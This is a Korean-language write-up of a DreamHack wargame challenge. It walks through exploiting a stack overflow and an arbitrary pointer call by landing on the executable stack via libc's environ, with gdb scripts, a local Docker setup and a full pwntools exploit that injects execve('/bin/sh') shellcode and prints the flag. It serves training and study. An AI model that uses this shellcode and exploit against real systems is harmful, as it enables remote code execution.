[🥉 Bronze 2] 스택 주소를 몰라도 착지점은 안다 — DreamHack environ 풀이

문제: DreamHack — environ 분류: Pwnable 난이도: 🥉 Bronze 2 FLAG: DH{209478d89c920b8dfe2dee61f9bc1dcc}

같은 이름의 Silver 4 문제(__environ)가 따로 있는데, 그쪽은 임의 주소를 읽어서 보여주는 오라클로 스택 주소를 유출하는 전형적인 environ ptr 문제다. 이 Bronze 2 문제는 원시가 한 끗 다르다. 값을 보여주지 않고 그 값으로 바로 점프한다.

읽어서 보여주면 스택 주소를 손에 쥐고 다음 수를 둘 수 있다. 그런데 보여주지 않고 점프만 해 버리면, 어디로 뛰는지 모르는 채로 그 자리에 미리 코드를 깔아 둬야 한다. 이 글은 그 "모르는 채로 깔아 두기"를 어떻게 성립시키는지에 대한 기록이다.

문제 개요

항목	내용
문제명	environ (DreamHack wargame id 31)
난이도	🥉 Bronze 2
분류	Pwnable
제공 파일	`environ` (ELF x86-64), `environ.c`, `libc.so.6`
서버	라이브 VM (socat TCP)
스택	Ubuntu 16.04 / glibc 2.23
보호 기법	Partial RELRO · Canary · NX 없음 · No PIE
핵심 취약점	길이를 공격자가 정하는 `read` 오버플로우 + 임의 주소 읽기·호출

배포된 파일부터 확인한다.

file environ && file libc.so.6 && strings -a libc.so.6 | grep "GNU C Library"

file 과 strings 로 확인한 배포 파일 — 64비트 동적 링크 실행파일과 glibc 2.23 라이브러리

Ubuntu 16.04 시절 glibc 2.23 이다. 배포본에 libc 가 같이 왔다는 건 libc 주소를 쓰라는 뜻이고, 실제로 문제는 시작하자마자 libc 포인터 하나를 던져 준다.

🧩 배경 — environ 이 왜 특별한가

environ 은 POSIX 가 정의한 전역 변수다. 선언은 이렇게 생겼다.

extern char **environ;

프로세스가 뜰 때 커널은 스택 맨 위쪽에 프로그램 인자와 환경변수를 깔아 둔다. 낮은 주소에서 높은 주소 순으로 보면 argc, argv 포인터 배열, NULL, envp 포인터 배열, NULL, auxiliary vector, 그리고 실제 문자열들이 차례로 놓인다. 프로그램의 첫 rsp 는 이 argc 를 가리킨다.

glibc 는 __libc_start_main 초기화 과정에서 이 envp 배열의 시작 주소를 자기 데이터 영역의 environ 칸에 저장해 둔다. 그래서 getenv 가 동작하고, execve 가 인자 없이도 현재 환경을 넘길 수 있다.

익스플로잇 쪽에서 이게 값진 이유는 하나다. libc 베이스만 알면 스택 주소를 알아낼 수 있다. ASLR 이 켜져 있어도, PIE 라 코드 주소를 몰라도, libc 하나만 새면 스택까지 따라온다.

배포된 libc 에서 스택을 가리키는 심볼이 이것 말고 또 있나 찾아봤다.

readelf --dyn-syms -W libc.so.6 | grep -iE "stack_end|environ|argv"

     9: 0000000000000000     0 OBJECT  GLOBAL DEFAULT  UND _dl_argv@GLIBC_PRIVATE (26)
   283: 00000000003c6f38     8 OBJECT  WEAK   DEFAULT   34 _environ@@GLIBC_2.2.5
   966: 00000000003c6f38     8 OBJECT  WEAK   DEFAULT   34 environ@@GLIBC_2.2.5
  1297: 00000000003c6f38     8 OBJECT  GLOBAL DEFAULT   34 __environ@@GLIBC_2.2.5

environ·__environ·_environ 은 전부 0x3c6f38 하나를 가리키는 별칭이다. _dl_argv 는 ld.so 쪽 심볼이라 libc 안에는 정의가 없고(UND), __libc_stack_end 는 이 빌드의 동적 심볼 테이블에 안 나온다. 배포본이 stripped 라 내부 심볼까지는 못 보지만, 적어도 가져다 쓸 수 있는 것 중에는 environ 뿐이다.

보통 이 기법은 "읽어서 유출"에 쓴다. 임의 주소 읽기가 있으면 libc + environ 을 읽어 스택 주소를 얻고, 거기서 오프셋을 계산해 리턴 주소 위치를 특정한다. 이 문제는 그 읽기 결과를 화면에 안 준다. 대신 그 값을 곧바로 함수 포인터로 써서 호출한다. 그러니 유출이 아니라 착지점으로 쓰는 수밖에 없다.

🔬 코드 정찰

소스가 통째로 주어진다. 42줄이 전부다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
 
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
 
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}
 
int main()
{
    char buf[16];
    size_t size;
    long value;
    void (*jump)();
 
    initialize();
 
    printf("stdout: %p\n", stdout);
 
    printf("Size: ");
    scanf("%ld", &size);
 
    printf("Data: ");
    read(0, buf, size);
 
    printf("*jmp=");
    scanf("%ld", &value);
 
    jump = *(long *)value;
    jump();
 
    return 0;
}

네 줄만 따로 떼어 보면 문제가 뭘 주는지 정리된다.

코드	내가 얻는 것
`printf("stdout: %p\n", stdout)`	`_IO_2_1_stdout_` 의 실제 주소 → libc 베이스
`scanf("%ld", &size)`	`read` 길이를 내가 정한다 (검사 없음)
`read(0, buf, size)`	`buf[16]` 위쪽으로 원하는 만큼 스택 덮어쓰기
`jump = (long )value; jump()`	임의 주소 8바이트 읽기 + 그 값으로 호출

stdout 은 바이너리 bss 에 있는 포인터 변수고, 그 안에는 libc 의 _IO_2_1_stdout_ 주소가 들어 있다. %p 로 찍히는 건 포인터 변수의 주소가 아니라 그 값이니 libc 주소가 그대로 나온다.

보호 기법 — 스택이 실행 가능하다

readelf -lW environ | grep -E "Flg|LOAD|GNU_STACK|GNU_RELRO"

readelf 로 확인한 프로그램 헤더 — GNU_STACK 세그먼트의 권한이 RWE 라 스택이 실행 가능하다

GNU_STACK 의 Flg 가 RWE 다. 링커가 NX 를 끈 채로 빌드했다는 뜻이고, 커널은 이 표시를 보고 스택 매핑에 실행 권한을 준다. 스택에 올린 바이트가 그대로 코드가 된다.

LOAD 세그먼트도 R E / RW 로 나뉘어 있어 코드는 0x400000, 데이터는 0x600000 대에 고정이다. No PIE 라 stdout 포인터의 주소 0x601080 같은 값을 상수로 쓸 수 있다.

어셈블리로 스택 배치 확인

소스만 봐서는 지역변수들이 스택 어디에 놓이는지 모른다. 오버플로우가 무엇을 망가뜨리는지 판단하려면 이게 필요하다. 디스어셈블에 주석을 얹어서 봤다. 주석은 sed 스크립트로 내가 붙인 것이고, 나머지 줄은 objdump 출력 그대로다.

# annotate_main.sed
s/\(mov  *rax,QWORD PTR \[rip+0x2007be\)\(.*\)/\1\2        <-- bss 의 stdout 포인터 = libc 주소/
s/\(lea  *rax,\[rbp-0x38\]\)/\1                <-- size (rbp-0x38)/
s/\(mov  *rdx,QWORD PTR \[rbp-0x38\]\)/\1     <-- read 길이 = 내가 준 size/
s/\(lea  *rax,\[rbp-0x20\]\)/\1                <-- buf[16] (rbp-0x20)/
s/\(lea  *rax,\[rbp-0x30\]\)/\1                <-- value (rbp-0x30)/
s/\(mov  *rax,QWORD PTR \[rax\]\)/\1           <-- jump = *(long*)value  임의 읽기/
s/\(call  *rdx\)/\1                        <-- jump()  임의 호출/

objdump -d --no-show-raw-insn -M intel environ --start-address=0x4008bb --stop-address=0x400958 | sed -f annotate_main.sed

objdump 디스어셈블 — buf 는 rbp-0x20, size 는 rbp-0x38, value 는 rbp-0x30 에 놓이고 마지막이 call rdx

정리하면 이렇다.

위치	변수
`rbp-0x38`	`size`
`rbp-0x30`	`value`
`rbp-0x28`	`jump`
`rbp-0x20`	`buf[16]`
`rbp-0x8`	스택 카나리

여기서 두 가지가 한꺼번에 풀린다.

첫째, size 와 value 는 buf 보다 낮은 주소에 있다. read 는 buf 에서 위쪽으로 써 나가므로 아무리 길게 덮어도 이 둘은 안 망가진다. 즉 오버플로우를 먼저 해 놓고 그 다음에 value 를 입력해도 순서가 꼬이지 않는다.

둘째, 카나리는 rbp-0x8 이라 반드시 덮인다. 그런데 main 은 jump() 안에서 셸을 띄우고 끝나므로 리턴을 안 한다. 카나리 검사 코드는 call rdx 뒤에 있으니 도달하지 않는다. 카나리가 있어도 없는 것과 같다.

💣 원시 뜯어보기 — 주소를 쓸 수 없다

jump = *(long *)value;
jump();

이 두 줄을 처음 봤을 때 반사적으로 떠오르는 건 "libc 베이스 아니까 one_gadget 주소 넣으면 되겠네"다. 그런데 안 된다. value 는 점프할 주소가 아니라 점프할 주소가 들어 있는 칸의 주소다. 한 겹이 더 있다.

내가 원하는 값을 어딘가에 쓸 수 있으면 그 칸을 가리키면 된다. 하지만 쓰기가 가능한 곳은 스택뿐이고, 스택 주소를 모른다. 결국 이미 쓸 만한 값이 들어 있는 칸을 libc 나 바이너리에서 골라야 한다.

후보를 하나씩 재 봤다.

`value` 후보	읽히는 값	결과
`0x601080` (bss 의 `stdout` 포인터)	`&_IO_2_1_stdout_`	libc 데이터로 점프 → 죽음
`0x601018` 등 GOT 엔트리	libc `read`/`printf` 주소	함수는 불리지만 인자를 못 정함
`libc + environ`	`&envp[0]` (스택)	스택으로 점프 → 여기에 코드를 깔면 된다

GOT 를 가리키면 실제로 libc 함수가 불리긴 한다. 그런데 call rdx 직전에 eax 만 0으로 맞출 뿐 rdi/rsi/rdx 는 이전 호출의 찌꺼기라 인자를 통제할 수 없다. system 은 애초에 import 되어 있지도 않다. 함수 하나를 인자 없이 부르는 걸로는 셸이 안 나온다.

▶🐛 막다른 길 1 — bss 의 stdout 포인터를 착지점으로 써 보면

주소 자체는 이미 알고 있다. 0x601080 을 value 로 주면 jump 는 정확히 _IO_2_1_stdout_ 의 주소가 된다. 주소를 안다는 것과 그게 코드라는 건 다른 얘긴데, 한 번 확인하고 넘어가는 게 낫다고 봤다.

#!/usr/bin/env python3
"""
착지점 후보 실험 — environ 말고 "이미 알고 있는 libc 주소"를 그냥 쓰면 안 되나?
 
value 에 바이너리 bss 의 stdout 포인터(0x601080)를 넣으면
jump = *(long*)0x601080 = &_IO_2_1_stdout_ 가 된다.
주소는 정확하지만 그건 libc 의 데이터 영역이라 실행할 코드가 아니다.
"""
from pwn import asm, context, log, remote, shellcraft
 
context.arch = "amd64"
context.log_level = "error"
 
BSS_STDOUT = 0x601080
 
p = remote("127.0.0.1", 31337)
p.recvuntil(b"stdout: ")
leak = int(p.recvline().strip(), 16)
print("[*] 유출한 _IO_2_1_stdout_ = %#x" % leak)
 
payload = b"\x90" * 0x218 + asm(shellcraft.amd64.linux.sh())
p.sendlineafter(b"Size: ", str(len(payload)).encode())
p.sendafter(b"Data: ", payload)
print("[*] value = %#x  (bss 의 stdout 포인터)" % BSS_STDOUT)
p.sendlineafter(b"*jmp=", str(BSS_STDOUT).encode())
 
p.sendline(b"echo SHELL_OK")
try:
    out = p.recvrepeat(2)
    print("[*] 응답 %d 바이트: %r" % (len(out), out[:40]))
    print("[-] 셸 없음 — libc 데이터를 코드로 실행하고 죽었다")
except EOFError:
    print("[-] EOF: 프로세스가 죽었다")
p.close()

python3 try_bss_ptr.py

try_bss_ptr.py 실행 결과 — value 를 0x601080 으로 주면 응답이 0바이트고 셸이 안 잡힌다

응답 0바이트. _IO_2_1_stdout_ 은 FILE 구조체라 앞부분이 플래그와 버퍼 포인터들이고, 그걸 명령으로 해석하면 금방 죽는다. 주소를 아는 것과 거기에 코드가 있는 건 별개라는 걸 확인하고 넘어갔다.

▶🐛 막다른 길 2 — 썰매 없이 셸코드만 buf 에 넣으면

environ 을 착지점으로 쓰기로 정한 다음에도 한 번 더 걸린다. jump 는 &envp[0] 이 되는데, buf 와 &envp[0] 은 같은 스택이지만 같은 곳이 아니다. 셸코드를 buf 맨 앞에 얌전히 넣어 두면 점프는 엉뚱한 데로 간다.

이걸 눈으로 보려고 gdb 로 잡았다. mkinput.py --no-sled 로 썰매 없는 입력을 만들고 call rdx 직전에서 멈춘다.

# nosled.gdb
set confirm off
set pagination off
set disable-randomization on
break *0x400956
run < in_nosled.bin
python
rdx = int(gdb.parse_and_eval("$rdx"))
buf = int(gdb.parse_and_eval("$rbp")) - 0x20
print("[call rdx 직전] 착지점 rdx = 0x%x  =  buf + 0x%x  (셸코드는 buf+0x0~0x2f)" % (rdx, rdx - buf))
print("--- 착지점 8바이트 = envp[0] 포인터 원본 ---")
gdb.execute("x/1gx $rdx")
print("--- 그 바이트를 명령으로 해석하면 ---")
gdb.execute("x/4i $rdx")
end
continue
python
print("--- 죽은 지점 ---")
gdb.execute("info registers rip")
end
quit

python3 mkinput.py --no-sled
docker run --rm --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -v "$PWD:/home/environ" -w /home/environ environ31:local gdb -q -batch -x nosled.gdb ./environ

gdb 배치 실행 — 착지점 bytes 가 envp[0] 포인터라 (bad) 명령으로 해석되고 SIGILL 로 죽는다

착지점은 buf + 0x118, 셸코드는 buf + 0x0 ~ 0x2f. 280바이트 차이다. 착지점의 8바이트는 원래 envp[0] 이 담고 있던 포인터 0x00007fffffffef3b 이고, 이걸 명령으로 디코딩하면 cmp %edi,%ebp 다음이 전부 (bad) 다. 실행하자마자 SIGILL.

여기서 답이 나온다. 셸코드를 착지점 뒤에 두고, 그 사이를 전부 nop 으로 채우면 된다.

🎯 착지점을 environ 으로

libc 오프셋 뽑기

두 개만 있으면 된다. 유출값에서 빼서 베이스를 구할 _IO_2_1_stdout_, 그리고 environ.

#!/usr/bin/env python3
"""배포된 libc.so.6 에서 익스에 필요한 심볼 오프셋만 뽑는다."""
from pwn import ELF
 
libc = ELF("libc.so.6", checksec=False)
exe = ELF("environ", checksec=False)
 
print("[binary] stdout 포인터(bss) = %#x" % exe.symbols["stdout"])
print("[libc]   _IO_2_1_stdout_    = %#x" % libc.symbols["_IO_2_1_stdout_"])
print("[libc]   environ            = %#x" % libc.symbols["environ"])
print("[calc]   libc_base = leak - %#x" % libc.symbols["_IO_2_1_stdout_"])

python3 offsets.py

offsets.py 실행 결과 — IO_2_1_stdout 는 0x3c5620, environ 은 0x3c6f38 오프셋에 있다

배포된 libc 는 stripped 지만 동적 심볼 테이블은 살아 있어서 pwntools 가 그대로 읽어 준다. environ 과 __environ 은 같은 주소를 가리키는 별칭이다.

착지점까지의 거리 재기

jump() 는 &envp[0] 으로 뛴다. 그런데 나는 그 주소를 모른다. 알아야 하는 건 절대 주소가 아니라 buf 로부터 얼마나 떨어져 있는가다. 그 거리만 알면 read 로 그만큼 채워서 착지점을 덮을 수 있다.

Ubuntu 16.04 컨테이너를 띄우고 gdb 로 직접 쟀다.

# measure.gdb
set confirm off
set pagination off
set disable-randomization on
break *0x400918
run < /home/environ/in.txt
python
import re
buf = int(gdb.parse_and_eval("$rbp")) - 0x20
maps = gdb.execute("info proc mappings", to_string=True)
base = None
for line in maps.splitlines():
    if line.rstrip().endswith("/home/environ/libc.so.6") and base is None:
        base = int(line.split()[0], 16)
env_ptr_addr = base + 0x3c6f38
env_val = int(gdb.parse_and_eval("*(unsigned long*)%d" % env_ptr_addr))
print("LIBC_BASE   = 0x%x" % base)
print("ENVIRON_SYM = 0x%x" % env_ptr_addr)
print("ENVIRON_VAL = 0x%x   (&envp[0], 스택)" % env_val)
print("BUF         = 0x%x" % buf)
print("DISTANCE    = %d (0x%x)" % (env_val - buf, env_val - buf))
end
quit

0x400918 은 call read@plt 다. 거기서 멈추면 rbp 가 아직 main 것이라 buf = rbp - 0x20 이 그대로 유효하다. in.txt 에는 Size: 에 넣을 숫자 한 줄만 들어 있다.

docker run --rm --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -v "$PWD:/home/environ" -w /home/environ environ31:local gdb -q -batch -x measure.gdb ./environ

280바이트, 0x118.

이 거리를 믿어도 되나

여기가 이 문제의 진짜 관문이다. 절대 주소는 실행할 때마다 바뀌는데, 거리가 매번 같다는 보장이 없으면 익스가 성립하지 않는다.

&envp[0] 은 프로세스 초기 rsp 에서 argc 한 칸, argv 배열, NULL 을 지난 자리다. main 의 프레임도 그 초기 rsp 아래로 __libc_start_main 을 거쳐 잡힌다. 둘 다 같은 기준점에서 세는 값이라 원리적으로는 argc 가 같으면 거리도 같아야 한다. 커널이 스택 최상단에 넣는 무작위 여백은 문자열 영역과 배열 영역을 통째로 밀어내지 실행 중 프레임과의 간격을 바꾸지 않는다.

원리는 그렇다 치고, 실제로 그런지 재 봤다. 환경변수 크기를 0부터 4KB 까지 바꿔 가며 거리를 다시 뽑는 스크립트다.

#!/usr/bin/env bash
# 환경변수 크기를 바꿔 가며 buf -> &envp[0] 거리가 정말 고정인지 확인한다.
# 절대 주소는 매번 달라지지만 거리는 안 변해야 익스가 성립한다.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
 
for n in 0 64 512 4096; do
  PAD=$(python3 -c "print('A'*$n)")
  printf 'PAD=%-5s바이트  ->  ' "$n"
  docker run --rm --cap-add=SYS_PTRACE --security-opt seccomp=unconfined \
    -e PAD="$PAD" -v "$PWD:/home/environ" -w /home/environ environ31:local \
    gdb -q -batch -x measure.gdb ./environ 2>/dev/null \
    | grep -E 'ENVIRON_VAL|DISTANCE' | tr '\n' ' '
  echo
done

./check_dist.sh

check_dist.sh 실행 결과 — 환경변수를 4KB 까지 늘려도 ENVIRON_VAL 절대 주소만 움직이고 거리는 280 으로 고정이다

ENVIRON_VAL 은 0x7fffffffed48 에서 0x7fffffffdd48 까지 4KB 넘게 움직이는데 DISTANCE 는 네 번 다 280 이다. 거리를 상수로 박아도 된다.

그래도 원격은 환경이 다르니 여유를 두는 게 맞다. 썰매를 0x118 딱 맞춰 끝내지 않고 0x100 을 더 붙여 0x218 로 잡았다. 착지점이 예상보다 앞이든 뒤든 0x218 안에만 들어오면 셸코드까지 미끄러진다.

그림으로 정리

스택 배치도 — buf 에서 위로 read 가 덮어 나가고 environ 이 가리키는 envp[0] 가 buf+0x118 에 놓인다

페이로드는 NOP × 0x218 + 셸코드 48바이트 = 584바이트다. buf 에서 시작해 buf+0x118 의 envp[0] 을 지나 buf+0x218 부터 셸코드가 놓인다. call rdx 가 buf+0x118 로 뛰면 nop 을 256개 지나 셸코드에 닿는다.

중간에 카나리와 리턴 주소, __libc_start_main 프레임이 통째로 뭉개지지만 상관없다. 돌아갈 일이 없다.

🧪 로컬 재현 환경

라이브 서버는 VM 크레딧을 쓰고 60초 알람도 있다. 원격에 붙어서 파라미터를 바꿔 가며 찔러 보는 건 낭비라, 같은 환경을 로컬에 만들고 거기서 다 끝내기로 했다.

Ubuntu 16.04 이미지에 배포된 libc 를 얹고 socat 으로 서비스를 흉내 낸다.

FROM ubuntu:16.04
RUN apt-get update && apt-get install -y socat gdb python3 && rm -rf /var/lib/apt/lists/*
WORKDIR /home/environ
ENV LD_LIBRARY_PATH=/home/environ
COPY environ /home/environ/environ
COPY libc.so.6 /home/environ/libc.so.6
RUN chmod +x /home/environ/environ && echo 'DH{LOCAL_DUMMY_FLAG_NOT_REAL}' > /home/environ/flag
EXPOSE 31337
CMD ["socat", "-T", "120", "TCP-LISTEN:31337,reuseaddr,fork", "EXEC:/home/environ/environ"]

ENV LD_LIBRARY_PATH=/home/environ 가 핵심이다. 컨테이너 자체 glibc 도 2.23 이지만 마이너 빌드가 다르면 environ 오프셋이 어긋날 수 있다. 배포된 libc 를 강제로 물려야 로컬에서 잰 값이 원격에서도 맞는다.

EXEC: 에 pty 를 붙이지 않은 것도 의도적이다. pty 를 끼우면 터미널 라인 디시플린이 붙어서 셸코드 바이트 중 0x0d 나 0x03 같은 게 변환·해석돼 버린다. 바이너리 페이로드를 보낼 땐 파이프여야 한다.

docker build -t environ31:local work/
docker run -d --rm --name environ31_test -p 31337:31337 environ31:local

scanf 가 남긴 개행은 어디로 갔나

scanf("%ld", &size) 다음에 곧바로 read(0, buf, size) 가 온다. 보통 이런 코드는 개행 하나가 남아서 다음 입력의 첫 바이트를 먹는다. 그러면 썰매가 1바이트 밀리고 거리 계산이 어긋난다.

여기서는 안 그런다. initialize() 가 setvbuf(stdin, NULL, _IONBF, 0) 로 stdin 을 버퍼링 없이 만들어 놨기 때문이다. 버퍼가 없으면 scanf 는 read(0, ..., 1) 로 한 바이트씩 읽어 들이고, 숫자가 끝났다는 걸 알려고 읽은 개행은 FILE 구조체 안쪽으로 밀어 넣는다. 커널의 소켓 버퍼에는 안 돌려준다.

그 다음 read 는 FILE 을 거치지 않는 시스템 콜이라 그 개행을 못 본다. 결과적으로 내 페이로드 첫 바이트가 buf[0] 에 정확히 떨어진다. 앞에서 잰 0x118 을 그대로 쓸 수 있는 이유다.

한 가지 더. read 는 요청한 만큼 다 채울 때까지 기다리지 않고 도착한 만큼만 반환한다. 페이로드가 TCP 세그먼트 두 개로 쪼개져 도착하면 앞부분만 읽히고 나머지가 뒤의 scanf 로 흘러 들어간다. 584바이트면 한 세그먼트에 들어가는 크기라 실제로는 문제가 안 됐지만, 썰매를 몇 KB 로 키우면 여기서 깨질 수 있다.

🔧 런타임 검증 — 정말 NOP 위에 내려앉나

계산은 맞는 것 같은데, call rdx 순간의 rdx 가 진짜 썰매 위를 가리키는지 눈으로 봐야 마음이 놓인다. gdb 로 그 지점에서 멈추고 착지점의 명령을 디스어셈블했다.

gdb 안에서는 유출을 못 하니 입력을 미리 파일로 만든다. set disable-randomization on 이면 컨테이너 안 libc 베이스가 0x7ffff7a00000 으로 고정이라(위 measure.gdb 로 확인한 값) value 를 상수로 넣을 수 있다.

#!/usr/bin/env python3
"""
gdb 로 재현하기 위한 입력 파일 생성기.
 
gdb 는 `set disable-randomization on` 이라 컨테이너 안에서 libc 베이스가
0x7ffff7a00000 으로 고정된다(measure.gdb 로 확인한 값). 그래서 유출 단계를
생략하고 size / payload / value 를 파일 하나에 미리 넣어 둘 수 있다.
 
    python3 mkinput.py            -> in_exploit.bin  (NOP 썰매 있음, 정상 익스)
    python3 mkinput.py --no-sled  -> in_nosled.bin   (썰매 없이 셸코드만)
"""
import sys
 
from pwn import asm, context, shellcraft
 
context.arch = "amd64"
 
LIBC_BASE = 0x7FFFF7A00000  # gdb + disable-randomization 고정값
ENVIRON_OFF = 0x3C6F38
BUF2ENVP = 0x118
 
no_sled = "--no-sled" in sys.argv
sled = 0 if no_sled else BUF2ENVP + 0x100
out = "in_nosled.bin" if no_sled else "in_exploit.bin"
 
payload = b"\x90" * sled + asm(shellcraft.amd64.linux.sh())
blob = b"%d\n" % len(payload) + payload + b"%d\n" % (LIBC_BASE + ENVIRON_OFF)
 
with open(out, "wb") as f:
    f.write(blob)
print("%s: sled=%d payload=%d value=%#x" % (out, sled, len(payload), LIBC_BASE + ENVIRON_OFF))

# landing.gdb
set confirm off
set pagination off
set disable-randomization on
break *0x400956
run < in_exploit.bin
python
rdx = int(gdb.parse_and_eval("$rdx"))
buf = int(gdb.parse_and_eval("$rbp")) - 0x20
print("[call rdx 직전] 착지점 rdx = 0x%x  =  buf + 0x%x" % (rdx, rdx - buf))
print("--- 착지점에서 6개 명령 (NOP 썰매) ---")
gdb.execute("x/6i $rdx")
print("--- 썰매 0x100 뒤 = execve 셸코드 ---")
gdb.execute("x/9i $rdx + 0x100")
end
quit

python3 mkinput.py
docker run --rm --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -v "$PWD:/home/environ" -w /home/environ environ31:local gdb -q -batch -x landing.gdb ./environ

gdb 배치 실행 — call rdx 직전 rdx 가 buf+0x118 이고 그 자리부터 nop 이 이어지며 0x100 뒤에 execve 셸코드가 있다

rdx = buf + 0x118 로 정확히 맞고, 그 주소부터 nop 이 여섯 개 연달아 나온다. 0x100 뒤에는 pushq $0x68 / movabs $0x732f2f2f6e69622f,%rax 로 시작하는 pwntools 셸코드가 그대로 앉아 있다. /bin///sh 문자열을 스택에 밀어 넣고 execve 를 부르는 코드다.

앞의 막다른 길 2와 같은 화면을 같은 방식으로 찍은 것이라, 썰매 하나 넣고 뺀 차이가 그대로 드러난다.

🧠 스택 위에서 도는 48바이트

썰매 끝에 붙인 셸코드는 pwntools 가 뽑아 준 것을 그대로 썼다. 어떤 코드인지는 알고 쓰는 게 낫다.

from pwn import asm, context, disasm, shellcraft
 
context.arch = "amd64"
print(shellcraft.amd64.linux.sh())
print(disasm(asm(shellcraft.amd64.linux.sh())))

    /* execve(path='/bin///sh', argv=['sh'], envp=0) */
    push 0x68
    mov rax, 0x732f2f2f6e69622f
    push rax
    mov rdi, rsp
    push 0x1010101 ^ 0x6873
    xor dword ptr [rsp], 0x1010101
    xor esi, esi
    push rsi
    push 8
    pop rsi
    add rsi, rsp
    push rsi
    mov rsi, rsp
    xor edx, edx
    push SYS_execve /* 0x3b */
    pop rax
    syscall

0x732f2f2f6e69622f 은 리틀엔디언으로 읽으면 /bin///s 다. 앞서 push 0x68 이 h 와 널 7바이트를 올려 뒀으니 두 push 를 합치면 /bin///sh 문자열이 스택에 완성되고, rdi 가 그 시작을 가리킨다. 슬래시를 세 개 겹친 건 8바이트 정렬을 맞추려는 것뿐이고 경로 의미는 /bin/sh 와 같다.

argv 도 같은 식으로 만든다. sh\0 을 XOR 로 널 없이 밀어 넣고, 그 주소를 담은 포인터 배열을 스택에 올려 rsi 로 잡는다. rdx 는 0 이니 envp 는 비운 채로 execve 를 호출한다.

   0:   6a 68                   push   0x68
   2:   48 b8 2f 62 69 6e 2f 2f 2f 73   movabs rax, 0x732f2f2f6e69622f
   c:   50                      push   rax
   d:   48 89 e7                mov    rdi, rsp
  10:   68 72 69 01 01          push   0x1016972
  15:   81 34 24 01 01 01 01    xor    DWORD PTR [rsp], 0x1010101
  1c:   31 f6                   xor    esi, esi
  1e:   56                      push   rsi
  1f:   6a 08                   push   0x8
  21:   5e                      pop    rsi
  22:   48 01 e6                add    rsi, rsp
  25:   56                      push   rsi
  26:   48 89 e6                mov    rsi, rsp
  29:   31 d2                   xor    edx, edx
  2b:   6a 3b                   push   0x3b
  2d:   58                      pop    rax
  2e:   0f 05                   syscall

기계어에 널바이트가 하나도 없다. 이 문제는 read 로 받으니 널이 있어도 상관없지만 기본값이 그렇게 나온다.

여기서 한 가지 걸릴 만한 게 있다. 셸코드가 push 를 여러 번 하는데, 그게 방금 깔아 둔 썰매를 밟지 않을까. 안 밟는다. main 은 sub rsp,0x40 으로 프레임을 잡았으니 rsp 는 rbp-0x40 이고, buf 는 rbp-0x20 이다. push 는 rsp 를 더 낮추는 방향이라 buf 보다 아래로만 자란다. 썰매와 셸코드는 buf 위쪽 500바이트 넘게 뻗어 있으니 서로 안 만난다.

마지막으로 initialize() 의 alarm(60) 이 있다. 60초 안에 셸을 잡고 flag 를 읽어야 하는데, 익스가 왕복 세 번이면 끝나니 여유롭다. 다만 셸을 잡은 뒤 손으로 탐색하다 보면 걸린다. solve.py 가 cat flag 까지 자동으로 보내는 이유다.

🚀 Full Exploit

라이브 서버에서는 유출을 해야 하니 gdb 때와 달리 value 를 런타임에 계산한다. 흐름은 세 줄이다. 유출로 베이스를 잡고, 썰매와 셸코드를 밀어 넣고, libc + environ 을 던진다.

#!/usr/bin/env python3
"""
environ (Dreamhack wargame id=31, Bronze 2 / pwnable)
 
  printf("stdout: %p")  ->  libc 베이스 유출
  scanf("%ld", &size)   ->  read 길이를 공격자가 정함
  read(0, buf, size)    ->  buf[16] 위쪽으로 스택 전체를 덮어씀
  jump = *(long*)value; jump();
                        ->  임의 주소 8바이트를 읽어 그 값으로 call
 
value 에 libc 의 environ 을 넣으면 jump 는 &envp[0](스택 주소)가 된다.
NX 가 없어 스택이 실행 가능하므로, 그 지점을 미리 NOP 썰매로 덮어 두면
call 이 썰매를 타고 내려와 뒤에 붙인 execve("/bin/sh") 셸코드를 실행한다.
 
사용법:
    python3 solve.py                        # 로컬 도커(127.0.0.1:31337)
    python3 solve.py host3.dreamhack.games:14523
"""
import re
import sys
 
from pwn import ELF, asm, context, log, remote, shellcraft
 
context.arch = "amd64"
context.log_level = "info"
 
# 제공된 libc.so.6 = Ubuntu GLIBC 2.23-0ubuntu11 (Ubuntu 16.04)
STDOUT_OFF = 0x3C5620   # _IO_2_1_stdout_
ENVIRON_OFF = 0x3C6F38  # environ
 
# main: buf 는 rbp-0x20. gdb 로 실측한 buf → environ 이 가리키는 &envp[0] 거리
BUF2ENVP = 0x118        # 280 바이트
SLED = BUF2ENVP + 0x100  # 착지점 앞뒤로 여유를 둔 NOP 썰매
 
 
def parse_target(argv):
    if len(argv) < 2:
        return "127.0.0.1", 31337
    tgt = argv[1].replace("http://", "").replace("https://", "").rstrip("/")
    host, _, port = tgt.partition(":")
    return host, int(port)
 
 
def main():
    host, port = parse_target(sys.argv)
 
    shellcode = asm(shellcraft.amd64.linux.sh())
    log.info("shellcode %d bytes", len(shellcode))
 
    p = remote(host, port)
 
    # 1) libc 베이스 유출 — bss 의 stdout 포인터가 곧 _IO_2_1_stdout_ 의 주소
    p.recvuntil(b"stdout: ")
    leak = int(p.recvline().strip(), 16)
    libc_base = leak - STDOUT_OFF
    environ_sym = libc_base + ENVIRON_OFF
    log.success("stdout   = %#x", leak)
    log.success("libc base= %#x", libc_base)
    log.success("&environ = %#x", environ_sym)
 
    # 2) buf 부터 &envp[0] 너머까지 NOP 썰매 + 셸코드로 덮는다
    payload = b"\x90" * SLED + shellcode
    p.sendlineafter(b"Size: ", str(len(payload)).encode())
    p.sendafter(b"Data: ", payload)
 
    # 3) jump = *(long*)&environ = &envp[0] → 썰매 착지 → 셸
    p.sendlineafter(b"*jmp=", str(environ_sym).encode())
 
    p.sendline(b"echo SHELL_OK; cat flag")
    out = p.recvrepeat(3)
    sys.stdout.write(out.decode(errors="replace"))
 
    m = re.search(rb"DH\{[^}\n]*\}", out)
    if m:
        log.success("FLAG: %s", m.group().decode())
    else:
        log.failure("flag 를 못 찾음")
    p.close()
 
 
if __name__ == "__main__":
    main()

sendlineafter(b"Size: ", ...) 로 길이를 보내고, sendafter(b"Data: ", payload) 는 개행을 안 붙인다. 개행이 붙으면 페이로드가 1바이트 길어질 뿐이지만 굳이 붙일 이유가 없다.

value 는 scanf("%ld") 로 읽히니 10진수 문자열로 보낸다. libc + 0x3c6f38 은 0x7f... 대역이라 부호 있는 64비트에 들어간다.

